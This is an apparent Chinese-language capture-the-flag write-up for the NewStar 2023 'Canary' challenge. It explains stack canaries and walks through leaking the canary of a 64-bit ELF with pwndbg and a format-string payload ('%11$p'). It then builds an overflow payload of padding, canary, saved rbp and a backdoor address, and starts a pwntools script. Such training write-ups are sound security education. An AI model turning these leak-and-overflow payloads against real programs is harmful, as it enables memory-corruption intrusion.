NewStar2023_Canary

NewStar2023_Canary
GHSC1. Canary 是什麼?
Canary (金絲雀) 是一種用來防止緩衝區溢位攻擊的保護機制。程式會在函式開始時在堆疊上放置一個隨機的值 (Canary),並在函式返回前檢查這個值是否被改變。如果被改變,表示發生了緩衝區溢位,程式會立即終止。
在 32 位元程式中,Canary 通常是一個 4 位元組的值,並且以 \x00 結尾。它被放在 saved EBP (舊的 EBP) 和區域變數之間。
2.看看程式的資訊
是一個64位的ELF , 開了NX 和CANARY 和 RELERO
今次我們要學習如何用pwndbg來找出canary
先看看IDA的偽代碼:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
可以看見有兩個read函數 和一個printf函數 , read(0, buf, 0x20u); 第一個的read讀取20個字節(u) , 第二個100字節(u) , 由於開了NX 不能用shellcode , 要用後門函數或ROP鏈 ,
在IDA發現了backdoor函數:
backdoor : 0x401262
我們要在print找到canary 再用recvuntil()截取地址 , 最後在payload 中加入canary
首先叫出偉大的gdb大人 , 下一個斷點在read 函數那:
- b* main
- b *0x401310
- b *0x401335
- b *0x40135A
- cyclic 20 生成一個20字節的字符串 , 看看cyclic
- stack 30
0x00 是 canary 小金絲鳥是00 , 不難看 在 rbp-0x8那有一個00 地址是: 0x7fffffffd598
1 | 05:0028│-008 0x7fffffffd598 ◂— 0x2ae9f13115290200 |
在gdb canary一下沒出來 :
–all 一下 : 出來捏
在-008那 , 那麼算一算偏移量: 5
16*6 是canary , /16 = 6
不難看出字符串偏移量為6 , 6+5 = %11$p
現在寫一寫payload思路 :
1 | p.sendline(b'aaaaaa %11$p') |
成功打印出來了 ,
那我可以寫一下payload 了 , 垃圾數據+canary+rbp(0x8)+返回地址
1 | payload = b'a'*(0x98-0x70)+p64(canary)+b'a'*0x8+p64(shell_addr) |
1 | from pwn import * |
评论
匿名评论隐私政策





